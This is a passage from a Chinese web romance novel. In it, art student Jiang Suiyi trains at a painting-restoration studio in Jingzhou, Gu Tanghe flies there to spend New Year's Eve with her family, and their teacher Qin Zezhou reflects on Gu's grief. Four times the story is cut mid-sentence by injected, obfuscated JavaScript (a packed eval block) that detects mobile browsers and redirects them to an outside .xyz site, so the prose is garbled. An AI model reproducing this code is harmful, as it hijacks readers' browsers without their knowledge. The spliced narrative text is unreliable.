许是孩子们都回来了,家里格外热闹忙碌。 江渐明正陪着江随星把一串小红灯笼挂上。而客厅中央,摊开放着一个大号的行李箱。 “这些东西都得带上,京州干,可比我们这儿冷多了。”程遇把一支崭新的护手霜塞进行李箱侧袋,叹口气。 江随意:“程姨,你怎么比我还紧张。” 程遇还是不放心道:“以前从没让你自己一个人跑那么远过,这人生地不熟的。” 江随意把几本文物图录和速写本放进箱子里,闻言抬起头,安抚她说:“林老师都安排好了。再说了,就去几天看看环境,还不是正式集训呢。” 江随和正盘腿坐在地毯上打游戏,头也不抬地插话,像是早就想好了。 “我看不如这样,反正爸和程姨你们年前也都停工了,闲着也是闲着。干脆全家一块儿去京州玩几天呗?” “好耶!一起去京州嘛,我正好也想看看语文书上说的皇家园林。”江随星立刻扔下手里的小灯笼,欢呼着扑过来抱住江随和的腿。 “我看行。” 江渐明收拾好地上的塑料袋。 程遇那点担忧被冲淡了许多:“也可以,咱一块去,不然你一个人我实在不放心。” “万岁!”江随星兴奋地在地毯上打了个滚。 江随意放下手里的东西,朝她哥看去一眼。对方只是挑了下眉,点点头。 京州的冬日,天空是高远澄澈的灰蓝色,空气干冷,一呼一吸都能让人立刻清醒。 第二天一早,江随意就和林老师碰了面,一起坐地铁来到了林老师同学的工作室。 工作室的主人姓苏,穿着一件素雅的改良旗袍,她和林老师的气质很像,都是温婉沉静,说话不疾不徐。 “好久没见了。”刚一见面,两位老师就给彼此一个拥抱。 “这是随意对吧?你老师跟我提过好几次了,快进来。”苏老师笑着引她入内。 工作室内部空间开阔,采光极好。但这里不像学校画室那样摆满石膏和静物,反而更像传统工坊的结合体。 靠墙立着巨大的实木案台,铺着深色的毛毡,上面放着各种工具。而中间是一张特制的大红漆案,案上平铺着一张严重破损的绢本,颜色晦暗,页内被虫蛀,画面几乎难以辨认。 一位四十岁上下的男人正戴着寸镜,手持极细的毛笔点染着页上一处。 苏老师介绍道:“这位是张老师,他现在修补的是一张明代的花鸟残片。” 苏老师先带江随意系统地了解工作室的各个功能分区,讲解那些特殊工具和材料的名称与用途。 “这边过完后,我会再带你去隔壁的画室,那里有几个同学也是准备考京美的。去年的话有个女生考得也是文修,你如果多待几天的话,我可以试着约她出来你们聊一聊。” 她拿起一块深蓝色的石头,然后说:“这是石青的原石,蓝铜矿。修复古画,补色时必须用同性质的矿物颜料,颜料的光泽和稳定性是骗不过时间和行家眼睛的。” 苏老师又指着一排浸泡在清水里的纸:“这叫命纸,是画芯的托纸,贴在绢背用来保护画面的,一般要选韧性好、帘纹清晰的陈年宣纸。” 江随意跟着苏老师走出工作室,进到隔壁画室,一天的时间都在这里度过了。 晚上,一家人找了家老字号吃铜锅涮肉。 红亮的炭火在紫铜锅子底下作响,清汤翻滚着雪白的羊尾油,鲜切的羊肉片薄如蝉翼,在汤里一涮即熟,蘸上醇厚的麻酱小料,满口生香。 江随星吃得小脸通红,额头上冒出细汗。 江随意拿出手机,对着咕嘟冒泡的铜锅,还有窗外的城墙拍了张照片,手指飞快地点开寝室群。 【一条大江:[图片]】 【一条大江:报告组织,京州涮肉get工作室很酷,这里的老师人也超好!就是在画室待了一下午,手和脖子都好酸。】 【小猫快乐打滚.jpg】 消息刚发出去,群里立刻炸了锅。 【代表月亮消灭美少女战士:!!!我碗里的瞬间不香了呜呜呜呜】 【诺诺爱吃饭:看着就好好吃,不管了,我等下也 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15890290|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要吃火锅!】 【摇啊摇:等我有钱了要买个能闻着味的手机】 【诺诺爱吃饭:别闻味了,买个能直接尝的】 【摇啊摇:注意休息】 【代表月亮消灭美少女战士:画了一下午啊】 【一条大江:也没有一直画啦,只是今天摸到了真的矿物颜料,然后还在仿古绢上尝试补色了】 【一条大江:手抖得像帕金森[笑哭]但超级有意思】 【一条大江:今天又是快乐的一天.jpg】 看着屏幕上刷过的关心和调侃,江随意笑着放下手机,夹起一筷子涮好的羊肉。 而坐在窗边的江随星忽然指着窗外,惊喜地大喊起来:“下雪了!你们快点看外面下雪了诶!” 一家人都朝窗外望去。 雪花不知何时已悄然飘落。 起初只是零星几点,很快便洋洋洒洒自天空翩跹而下。它们无声地落在对面的黛瓦上,院墙旁光秃秃的枝桠点上雪白的花。 暖黄色的路灯突然之间全都亮起,照明了雪花飞舞的轨迹,将这座古老都城温柔地拥入怀中。 “真的下雪了。”江随意轻声呢喃。 手机在掌心一震,将她唤回神。 【Q:今天去工作室感觉怎么样?】 【一条大江:下午体验了一下,感觉还不错。然后听画室的一些同学说这里往年拿小圈证的还挺多】 【一条大江:我应该之后集训就定在这边了。不过大家都挺厉害,有点压力......】 江随意的手指顿了顿,又飞快地补充了一句。 【一条大江:顾橖河,京州下雪了。】 她拿起手机对准窗外。 镜头里,古老的城楼在纷飞的雪幕中静默矗立。 几乎是发出的同时,顾橖河也回了消息。 【Q:你也很厉害】 紧接着又是一句。 【Q:很漂亮】 江随意看着那两行字,嘴角不自觉地扬起。 而此时一千多公里外的江河县也正在下着今年的第一场雪。夜色同样深沉,细密的雪粒敲打着窗户发出沙沙的轻响。 顾橖河站在卧室的窗边。他点开江随意发来的照片,目光掠过城楼和纷扬的雪花,最终停留在照片的一角。 那扇映着室内光的玻璃窗上,一个模糊的轮廓印在那里,微微仰着头,似乎正在惊叹窗外的雪景。 他的手指在屏幕上轻点、放大,直到那个模糊的轮廓占据了整个视野。窗外的京州雪景成了虚化的背景,唯有这个并不清晰的影子穿透屏幕,撞入眼底。 顾橖河不知道看了多久。 窗外的雪似乎下得更密了些。 他抬手,修长的手指触碰到冰凉的玻璃,寒气瞬间从指尖蔓延。 顾橖河微微倾身,温热的呼吸打在窗上,白雾氤氲开一小片。 一个清晰的“意”字出现在布满水汽的玻璃上。 窗外的雪光映着他深黑的眸子,里面翻涌着某种复杂难辨的情绪,如同窗外这场无声却浩大的雪。 片刻后,顾橖河再次抬手,干脆利落地擦去刚刚写的字迹,连同那片水痕一并抹去。玻璃上只留下一片模糊的水渍,迅速被新的寒气覆盖,重新变得朦胧。 40. 踏雪来 江随意看着对面显示“正在输入...”,这状态持续了好一会儿。 【Q:什么时候回来?】 消息出来后,她马上回复。 【一条大江:打算在这边过年了,年后再回江河县。】 苏老师帮她联系了去年考上京美文修的姐姐,但对方要初二才有空。加上妈妈飞国外见客户,估计也不回来过年了,所以他们就干脆在京州这边过完年再回江河县。 【Q:一切顺利】 江随意还琢磨着要再聊点什么,寝室群里的消息提示却一个接一个弹出来打断她。 【代表月亮消灭美少女战士:@一条大江意意,我的老天,江河县竟然下大雪了!!!】 【代表月亮消灭美少女战士:图片】 【代表月亮消灭美少女战士:图片】 【诺诺爱吃饭:卧槽!是真的好大,这才多久就已经积了一层】 【摇啊摇:比去年人工的要实在多了】 【诺诺爱吃饭:不说了,俺要下楼堆雪人了嘿嘿】 紧接着又是几条视频。 画面里,熟悉的江河县已经完全变了模样。停在路边的车子顶上积了一层,路面上行人踩出的脚印很快又被新雪覆盖。 【一条大江:没赶上江河县的雪,还是有点可惜的】 【一条大江:估计等我回去就没了吧】 【摇啊摇:图片】 【摇啊摇:也算到场了】 是一张雪地里写了江随意名字的照片。 【一条大江:谢谢阿瑶~】 保存完照片后,江随意再次点开和顾橖河的对话框。 【一条大江:现在江河县是不是也在下雪?】 发完这句,江随意微微抿下嘴。心里似乎有些期待,顾橖河会不会也拍一张雪景照片发给她? “发什么呆呢?”江随和的声音突然响起,“再不吃,这锅里的肉可全进我肚子里了。” 江随意回过神,一抬头,就看见江随和正慢条斯理地从铜锅里夹起一大片涮好的羊肉往自己的碗里放。 “等一下。”江随意立即伸出筷子,精准地夹住那片羊肉,手腕一翻,直接抢了过来。 “哥你这就过分了啊,真不给我留点?” 江随和看着自己空空如也的碗,也不恼,反而笑起来:“江随意同学,你这强盗行为是跟谁学的?” “胡说八道。”江随意把羊肉在麻酱碟里滚了滚,心满意足地咬了一口,含糊道,“这叫战术性拦截。” 程遇看着兄妹俩斗嘴,笑得眼睛一弯,把一盘刚送来的鲜切羊肉下进锅里:“好了好了,这锅里还有呢,不够吃咱们再叫。” 江渐明喝了一口热茶,看着窗外:“还别说,这趟出来是挺值的,就是北方的冬天太冷了一些。”他转头又叮嘱,“等会儿吃完出去前,记得把你们的帽子围巾手套全都戴好啊。” 江随星兴奋地点头说:“收到老爸,不过等一会儿回酒店我想要在楼下堆一个超级大的雪人!”说着,还张开手比划。 手机里没有新的消息提示。 江随意又夹了一筷子青菜放进锅里,视线却忍不住再次看向屏幕。 这是没看见消息吗? 而此时的顾橖河正躺在床上,手机屏幕停留在和江随意的聊天界面。 要像她那样拍一张窗外的雪景吗? 不,他更想见她。 这念头一旦生起,便异常汹涌难以抑制,以至于胸腔都有些发紧。 敲门声忽然响起。 秦择舟:“阿橖,晚饭好了,赶紧出来吃一点。” 顾橖河没动,也没应声。 过了一会儿,门把手被轻轻拧开。 “躺在这儿干嘛呢,也不开灯的,乌漆嘛黑的好玩吗?”秦择舟走进来,顺手打开了灯。 “中午就看你没怎么吃东西,真不饿啊?” 顾橖河这才缓缓转过头,沉默了几秒,声音有点干涩:“哥。” “嗯?” “你这几天不是要回一趟老宅那边?” 秦择舟点头道:“是准备回去一趟,但你放心,除夕前我肯定会赶回来的。” “不用赶回来。”顾橖河撑着手臂坐起身,背靠着床头,视线落在窗外的大雪上,“我打算去一趟京州。” “京州?” 京州这个地方对顾家来说非常特殊,有很重要的意义。顾橖河的妈妈是京州大学医学院毕业的,而他爸爸和姐姐则是京州师大,包括秦择舟也是师大出来的。 顾橖河从前去过很多次京州,但每一回都是和家里人一起的。可自从出事后,他就没有去过了,甚至不再提起。 “不行!”秦择舟几乎是脱口而出。 不知道顾橖河为什么会突然想要去京州,但马上要过年了,万一去了那边又回忆起什么事影响他怎么办? 至少这边有他在,一切都还在可控范围内。 “要么这次你一块和我回去。” “哥,”顾橖河打断他,“我可以的。” “到了京州去哪里,做什么,我都会跟你报备,可以吗?” 虽然这半年里,看起来似乎一切都在好转,但秦择舟心里的警报依旧被拉响。 “这好端端的,你怎么突然就想要去京州了?” 顾橖河笑了一下,但弧度很浅。 “去找我的药。” “药?”秦择舟的心瞬间提到了嗓子眼,脑子里瞬间闪过无数种糟糕的可能性。 “找什么药?你是不是又有哪里不舒服了?把外套穿上,我们去医院。”说着,他就想要去拉顾橖河走。 “没有不舒服。” 顾橖河的语气带着点无奈:“哥,你太紧张了。我很好,比之前好很多。” “真的。” “我现在很冷静,身上也没有不舒服。” 他下床走到窗边,背对着秦择舟。 “你安心回老宅吧。我订好机票就把时间发你,你找人去机场接我,这样你总能放心一点吧?” 秦择舟看着他的背影想了许久,最终只是叹了口气。 “好。” 然后他又不甘心地问:“非得这几天吗?要不等年后,我尽快解决手上的事,陪你一块去。” 顾橖河转身看他,默默来了一句:“我去找江随意,你也要找她吗?” 秦择舟:“?” “不是,这大过年的,顾橖河你老远跑去京州找江随意?她去京州了?” 顾橖河点头。 秦择 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15894931|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟有话也咽了下去。 回江河县是因为江随意,去京州也是为了江随意。这小子现在脑子里只有这三个字,所以他在担心什么? 虽然有盼头能让顾橖河往下走去,秦择舟一开始也是高兴的。但是—— “你能不能不要上赶着?” 尤其以他过去对自己学生的了解,那小孩满脑子只有读书学习。 除夕这天,京州的雪下得格外大。从早上开始,雪花大片大片地往下落,无声无息地覆盖了京州的每一寸砖瓦。 到了下午,雪势非但没减,反而更猛了些,天地间一片混沌的银白。 直到江随意从画室里出来,这场酣畅淋漓的大雪才终于显出疲态。 苏老师要赶着回家吃年夜饭,所以今天结束的比较早。江随意没让他们来接,只是裹紧了衣服,独自往酒店的方向去。 路上的行人不多,街道两旁的店铺大多已经关门歇业,门口贴着大红的福字和春联。 经过一家临街的糕点铺子时,琳琅满目的点心一下子吸引了她的目光。 江随意推门进去,门上的铜铃发出清脆的叮铃声。店里暖气开得很足,带着甜丝丝的糕点香气,只有一个老师傅在擦拭着玻璃柜。 毕竟号称百年皇家御膳,不说味道,光是糕点的外形就足以令人心动。 江随意挑了两块,又配上一碗热茶,坐在靠窗的小圆桌边休息。 窗外的路灯下,偶尔有细小的雪沫子被风卷起,打着旋飘落。她摸出手机,对着桌上的茶点拍了张照片,发了个朋友圈。 【京州的年味,从一口点心开始~除夕快乐!】 【图片】 发完后,江随意习惯性地点开微信列表。置顶的聊天框里,最后一条消息还是她几天前发出去的那句。 现在江河县是不是也下雪了? 但顾橖河没有回复。 这是在忙?还是江河县的雪太大了影响信号,人家根本就没有收到? 坐了一会儿,暖气熏得人有些懒洋洋的。她起身,又去挑了几样看着漂亮的糕点。 师傅用印着店铺标志的纸盒仔细装好,又系上红色的丝带。 “谢谢。” 付完钱,江随意提起那盒点心,推门走了出去。 门外的寒意瞬间将她包裹。 风停了,雪又开始下起来,但不再是先前那种大雪。 细密如粉的雪沫子从天空中筛落,轻柔地覆盖在之前厚厚的积雪上。 江随意刚在台阶上站稳,拉高了围巾,一抬眼—— 纷纷扬扬的细雪中,几步开外,顾橖河穿着黑色的长款羽绒服静静地站在那里。 他没有戴帽子,乌黑的短发以及肩头都已经落了一层莹白。 江随意回神时,顾橖河已经走到她面前,在台阶下站定。 “你怎么在这里?” 顾橖河微微仰起头,视线从她震惊得微微睁大的眼睛,滑落到她冻得有些发红的鼻尖。 他开口,一字一句无比清晰:“江河县也在下雪。” “我来看看和京州的雪有什么不同。” 飞机落地后,顾橖河穿过风雪弥漫的前街,呵出的白气瞬间被北风撕碎。 但他知道,自己不是来看雪的。 41. 堆雪人 “你......怎么没回我消息,是没有收到吗?” 顾橖河:“现在回了。” ——现在回了 ——江河县也在下雪 江随意看着他,脑子里有个念头像雪花一样轻飘地落下。她不确定地追问:“你来京州只是看雪?” “不止。”顾橖河应得干脆,眼神却在她直白的目光下微微偏移了一瞬。 这短暂的闪避,让江随意加深了几分心底的猜测。她嘴角的笑意非但没有褪去,反而在漫天素白里绽开。 “江河县到京州,算上去机场的时间也要五六个小时,跨越一千五百多公里,难不成是为了亲口告诉我江河县下雪了?” 她向前倾了倾身,清晰地叫出他的名字:“顾橖河。” 这三个字像带着某种魔力,顾橖河的喉结滚动了一下,一股热气忽然窜上耳廓,脸也跟着隐隐发烫起来。 他几乎是下意识地又垂低了一点视线,只盯着台阶边缘被踩实的积雪。 看顾橖河这副样子,江随意心里那点说不清的雀跃更甚。她伸出手,擦过顾橖河的耳朵,自然地探向那落满雪花的发顶。 而顾橖河在她指尖靠近的瞬间,身体绷紧了一下,却没有躲闪。 “你在那站了多久?” 江随意拍掉那些雪。 “不冷吗?” 头顶传来细微的痒意,顾橖河只觉得方才被碰到的地方更烫了些,烧得他耳根通红。 自从江随意开始去画室,他们在学校接触的时间就少了很多。不知为何,他觉得她有点不一样了。 “我......” “意意。” 江随和的声音突然插了进来。 二人同时转头看去,见江随和正站在街角。在看到顾橖河时,他的脸上也露出惊讶之色:“阿橖?你怎么也在这里?” 他的视线在江随意和顾橖河之间扫了几个来回,然后想起之前妹妹说喜欢顾橖河的事。 脑子里“嗡”的一声。 天塌了,他妹这是已经把白菜拱上了吗? 顾橖河往后退了小半步,拉开了与江随意之间过于靠近的距离。 “哥,你怎么来了?” 江随意从台阶上走了下来。 “看见你发朋友圈了,雪天路滑,爸和程姨都不放心你一个人往回走,让我来接你回去吃饭。”江随和说着,人已经走到江随意面前,把她拉到自己身侧。 他压低了声音问:“什么情况?他怎么会在这儿?” 江随意:“别多想,就是碰巧遇见的。” “碰巧?”江随和显然不信,再次看向顾橖河。 顾橖河解释道:“秦老师来京州见朋友,带我一起了。” “秦老师也来了?”江随意有些意外。 顾橖河顿了一下,目光微垂,落在脚边一小堆积雪上,才接着说:“不过他临时有事要晚几天才能到,所以我先过来了。” 江随和:“你一个人来的?” 江随意也愣住了。 今天是除夕夜,顾橖河却一个人跑来京州。说实话,不管他是为了什么,江随意都有点心疼和难受。 顾橖河抬起眼,又说:“那我先回去了。” 他转身欲走,步子刚迈开就被江随和叫住了。 “你住哪里?要是方便的话,就去我们那儿吧。人多热闹点,一起吃个年夜饭。”江随和一顿,似乎怕他拒绝:“除了上回,我们也很久没见了。” 顾橖河站在雪地里,一时没有回应。雪花落在他的睫毛上,很快融化成细小的水珠。 “对啊。”江随意反应过来,立刻接口,“秦老师又还没到,你一个人多没意思。” 她往前走了半步,靠近他,“走吧,别站这儿挨冻了。” 风雪似乎在这一刻变得温柔了些。 “好。” 江随和也上前,抬手拍了拍顾橖河的肩。 “走吧。” 订的酒店实际上是个度假村,里面一栋栋别墅错落有致地分布着。到了大堂帮顾橖河登记后,就由酒店的摆渡车送他们到指定的别墅。 路旁的积雪显然被精心清理过,管家将车稳稳停在了院门口。 别墅小院里暖色的地灯亮着,一个裹得像红色小粽子似的身影正在雪地里忙碌着。 “阿姐,你们回来啦!”江随星听到动静,立刻从雪堆里抬起头,小脸冻得通红,鼻尖也红红的。 他挥舞着手里的小铲子,兴奋地大喊:“快看我堆的雪人兵团,马上就要大功告成啦!” 地上已经整整齐齐地立着十几个大小不一的雪人,圆滚滚的身体,各插着两根短树枝,像士兵一样排成两列。 江随意:“哇塞!我们星星这么厉害啊,堆了这么多。” “那当然。”江随星注意到她身后的人,仔细瞧了几眼,喊道:“阿橖哥哥,你也来京州玩吗?” “星星。”顾橖河摸了摸他的头,“长高了好多。” “回来了?快进来快进来,等会儿冻着了。”程遇从屋里出来。来的路上,江随意就已经和她讲过了。 顾橖河:“阿姨好。” 程遇瞧着他看了好一会儿:“好久没见着你了,这么高的个,怎么瘦成这样。” 江渐明也从厨房里走了出来,手里还端着一盘刚切好的酱牛肉。 “叔叔好。”顾橖河有些紧张和局促。 上初中时,他跟江随和这几个关系好的经常约着一块打球,也见过几次他们的父母,只是今天有些不同。 江随意找出新的拖鞋递给顾橖河,轻声说:“别紧张。” 江渐明笑道:“小顾来了啊?你们先玩一会儿啊,还有两道菜弄完就可以吃饭了。” 江随和把门带上:“随便坐,我去给你拿点喝的。” 江随星则是跑到厨房门口,探着脑袋,好奇道:“今天有啥好吃的呀?” “洗手去,少不了你的。”程遇拎起他的后领,又对他们说:“别站着啊,都去喝点热茶暖暖。” 顾橖河点点头,换上拖鞋,跟着江随意走进客厅。茶几上摆着果盘和零嘴,电视里正播放着热闹喜庆的节目。 这一切与他原先预想的天差地别。 江随和给他倒了杯热茶。 “谢谢。”顾橖河接过茶杯,在沙发上坐下。 他听着厨房里传来“醋是不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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江随和一摊手:“可能......碰巧吧。”接着他也拿起外套朝门外走去。 江随和出来时,顾橖河正在陪江随星堆雪人。 而江随意没有加入,只是站在一旁笑着看他们。 “笑这么开心?” 江随意弯起眸子,回他:“他好像不太会堆雪人,都塌了好几个了。” 看顾橖河有些手忙脚乱地试图扶正雪球,江随意忍不住笑出声来。 他抬起头,看向她。 江随意立刻收了笑容,努力板起脸,指了指他那个摇摇欲坠的雪球底部:“这里再压实一点,不然要塌了。” 见对方笨拙的样子,江随意还是没忍住上手。 “这样才不会倒下来。” 顾橖河照着她说的做,突然感到身侧忽然有一股暖意靠近。 看到原本还在自己身侧的妹妹直接上前,江随和脸上的笑意凝住了。 42. 过去事 初七早上,阳光早早地透过了窗户,带着一种与年前截然不同的温煦。 江随意盘腿坐在房间的地板上,面前摊开着色彩练习稿,调色盘放在腿边,几支画笔散落。 她正试图捕捉窗外那棵树在晨光里的微妙色调。灰褐的枝干,残留着冬日冷硬的质感,却又被光线镀上了一层极淡的金边。 “啾啾...啾啾啾...” 一阵细碎却清亮的鸟鸣响起,穿透了玻璃,也打断了笔尖的滑动。 江随意闻声望去。 就在那光秃秃的树枝头,几粒嫩得几乎透明的、小小的芽苞,不知何时已悄然顶破了深褐色的树皮,怯生生地探了出来。 那抹新绿如此微弱,却带着一种不容忽视的生机。 江随意握着画笔的手停在半空,微微有些怔愣。 明明才二月初,过年时京州那场大雪还历历在目,可回到江河县才几天,窗外拂进来的风,竟已带着一丝暖意,吹在脸上,只余下清爽。 不知道是习惯了北方的严寒,所以对这点回暖格外敏感?还是说今年的春天,真的来得这样早? 她收回目光,落在调色盘上刚挤出的一小点鲜艳的翠绿上。这颜色,似乎正应和着窗外那悄然萌动的春意。 江随意心头掠过一丝悸动,像被那鸟轻轻啄了一下。 “画完后得把昨天学姐发来的资料整理一下。”江随意搁下画笔,揉了揉有些发酸的脖颈。 她还想着下午去街上买些江河县的特产寄给苏老师和学姐。 思绪飘着飘着,不知怎地就落在了除夕夜那晚。 江随意的指尖无意识地捻了捻画笔的笔杆。如果不是她哥插了进来,她怕不是又要去占人家便宜了。 堆个雪人而已,她竟然又上手了。 可这种想要靠近对方的念头,像窗外那点新绿一样,悄无声息地就冒了出来,带着点不管不顾的劲头。 在过去,她总是听说顾橖河的事情,但现在不一样了,她想要再多了解他一点。 江随意托着腮,画笔的末端轻轻点在洁白的画纸上。色彩被暂时遗忘了,铅笔的灰线代替了颜料,原本准备练习色块的地方,勾勒出一个轮廓。 只是一个剪影,没有五官,却占据了整幅画的中心。 等江随意回过神来,她像被烫到般“啪”地一声把铅笔拍在画板上,直愣愣地盯着那个轮廓。 “江随意啊江随意,”她抬手用力拍了两下自己的脸颊,有些懊恼,“你想的倒是挺多的,快点醒醒。” 窗外的鸟儿还在鸣叫,那点新绿在阳光里似乎更显眼了。 江随意把脸埋进掌心,用力揉了揉,试图把那些不合时宜的纷乱念头全都揉碎。 “你现在最应该专注的是专业课。” 通知已经下来了,南江这边要求他们提前一个多星期返校。 而四月下旬,她还需要再去一趟京州,毕竟脱离系统的美术训练已经一年多,所以需要比别人提早适应集训的强度。 更别提七月还有学考。 现在的时间完全不够用,她不该再去想别的事情。 江随意换了张画纸,重新拿起画笔。 阳光渐渐烫了起来,江随意脱掉身上的毛衣,把一众画具收好移到阴凉的地方。 她起身甩了甩胳膊,此时手机在桌子上震动起来。 “意意,妈妈中午有几个客户要见,赶不回去吃饭了,你不用等我。” 背景音里隐约还有敲击键盘的声响。 “知道了妈妈,你注意休息。”江随意应着,挂了电话。 反正也要出门的,既然妈妈不回来,她索性改了主意,决定就在外面解决午饭。 她去了学校门口的一家面馆,刚坐下点好餐,视线无意间扫过窗外,秦择舟正从马路对面走过来。 他穿着深灰色的羊绒大衣,似乎也看见了店里的江随意,脚步顿了一下,然后朝这边走了过来。 “秦老师?”江随意有些意外,赶紧站起身,“吃过了吗?” 秦择舟推门进来。 “真巧。新年好啊。” “新年好,秦老师。”江随意忙招呼他在对面坐下,“我这刚好没人,您坐呗。” 秦择舟没和她客气,坐下也点了一份招牌汤面。 等餐的间隙,店堂里弥漫着面汤的暖香和客人们聊天的声音。 “秦老师,听顾橖河说您之前打算去京州见朋友来着?后来临时有事没去成?”江随意自然地提起了话头,“本来还想说要是您去了,正好可以见见呢。” 秦择舟端起桌上的免费茶水喝了一口,氤氲的热气模糊了他镜片后的眼神。 “哦?阿橖是这么跟你说的?”他放下杯子,唇角的笑意似乎加深了些。 江随意点点头:“嗯,除夕那天看他就一个人,就让他一块去我们那吃了,刚好他和我哥以前是同班同学,大家都认识。” 秦择舟在心底无声地嗤笑了一声。 事实是,他除夕前就火速处理完了手头上所有的事情,连行李都收拾好了。他终究不放心让顾橖河一个人在京州过年,打算赶最早的航班飞过去陪他。 结果呢? 他人都到机场了,顾橖河的电话打过来让他别去京州了。 秦择舟也算是看着顾橖河长大的,这破孩子心里那点弯弯绕绕,他怎么会不知道? 不过是因为京州有他想见的人,顺便再卖个惨罢了。 好得很。 真是好得很。 果真是弟弟大了,不由兄长了。 秦择舟的目光落在江随意脸上。 女孩的眉眼舒展,带着这个年纪特有的蓬勃生气。 看着这样的江随意,秦择舟心里那点被强行按下的担忧再次翻涌上来。 他是不是......有点太过于放任顾橖河了? 江随意是秦择舟毕业后带的第一届学生,也是他最为关注的一个孩子。 他还记得江随意刚转学来时,又闷又楞,眼神里带着点懵懂的钝感,似乎对外界的一切评价和纷扰都绝缘,满脑子只有读书。 那时候秦择舟觉得这孩子真傻,被人私下针对、议论都浑然不觉,或者说不屑理会,只是一股脑儿地学习,带着一股近乎偏执的韧劲。 可看着她交到好朋友,看着她站在领奖台上,眼神明亮,自信耀眼,一步步变成如今这样明媚鲜活的小姑娘。 像一棵精心培育的树苗终于抽枝展叶,迎向阳光。 秦择舟是欣慰和自豪的。 所以过去,他总是时不时在顾家提起这个学生。 也许从那时候起,顾橖河就对江随意产生了好奇。而在被巨大的创伤和负罪感死死压制后,那些懵懂的情愫变得一发不可收。 或许是治疗时引导的方向有问题,顾橖河不顾一切地想要攥紧,哪怕这束光本身并无意照耀他。 看着眼前对此一无所知的江随意,一种莫名的寒意夹杂着后知后觉的愧疚,悄然爬上秦择舟的脊背。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15919480|172656||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在这件事情上,秦择舟是自私的。 是他默许甚至隐隐推动了顾橖河靠近江随意,不就是因为他看到了这束光对顾橖河的疗效吗? 医生也确实说顾橖河恢复得很好,状态稳定多了,所以秦择舟不断地用这个理由安慰自己。 没关系,阿橖是有分寸的,他只是需要一点支撑,不会做什么出格的事情。 “秦老师?”江随意的声音带着点疑惑,将秦择舟的思绪拉回现实。 “您的面来了,再不吃就要坨了。” “哦,好,谢谢。”秦择舟有些仓促地应着,拿起筷子,动作却有些僵硬。 他摘下眼镜,用衣角擦了擦镜片,借此掩饰自己片刻的失态。 “对了,秦老师。” 江随意并未察觉他的异样,一边挑着自己碗里的面条,试探性询问:“之前你说顾橖河的爸爸是你的老师?” “对,没有他爸爸,可能我现在也不会去教书。”秦择舟抬起头。 “什么意思?” 秦择舟似乎在回忆,不知是想到了些什么忽然笑了起来。 “其实我以前也算个刺头,不是打架就是逃课。” 江随意来了兴趣,连面都不吃了,漂亮的杏眼睁大了些。 “老师您以前还打架逃课啊?” 秦择舟在她印象里一直是个脾气很好的老师,平日里总爱拿着他的保温杯,遇到事情不急不躁,总是笑着。 “谁都有不懂事的时候啊,那会儿高一被请了好几次家长差点退学了,后来高二分班遇上了老顾......也就是阿橖的爸爸。”秦择舟讲到这里,低下头戳了戳碗里的面,像是在怀念。 “大晚上把我从警局里捞出来带回家,得亏他没放弃,不然我现在还不知道在哪里混呢。” “那顾橖河的爸爸......”江随意小心地开口。 秦择舟脸上的笑意淡了下去。 “去世了。” “师母,阿姐还有姐夫都去世了。” 江随意一时之间说不出话来。 传言里只说顾橖河的父母去世,却不想连他的姐姐姐夫也不在了。 “就你们初三毕业那个夏天,江河县下了一场暴雨,他们在江河大桥上出了车祸。” “这件事我知道,但没想到......” 她记得那个夏天,也记得那则新闻报道。 “好了,不说这个,快点吃面。”秦择舟故作轻松一笑,“别在阿橖面前提这个,他一直过不去。” 因为在顾橖河心里,如果不是他弄丢豆豆,就完全不会有后面的事情。 “嗯,我知道。” 面馆里人声嘈杂,而食物的香气温暖而实在。 秦择舟看着对面女孩低垂的眉眼,阳光透过玻璃窗在她柔顺的发顶跳跃,勾勒出温暖的光晕。 她是如此鲜活明亮,像一棵在阳光下自由生长的树。 推门出来,江随意和秦择舟打着招呼,脸上的笑容依旧灿烂。 “那我先走了老师,等下还要去买点东西。” “好,路上小心。” “老师再见。” 秦择舟站在原地,久久没有动。 冬日的阳光落在身上却感觉不到丝毫暖意,他下意识地抬手,摸向大衣口袋里的烟盒。 但最终,秦择舟只是用力捏了捏烟盒,又颓然地将手从口袋里抽了出来。 他望着江随意消失的方向,那里只剩下被阳光照得发白的街道和匆匆的行人。 43. 春日迟 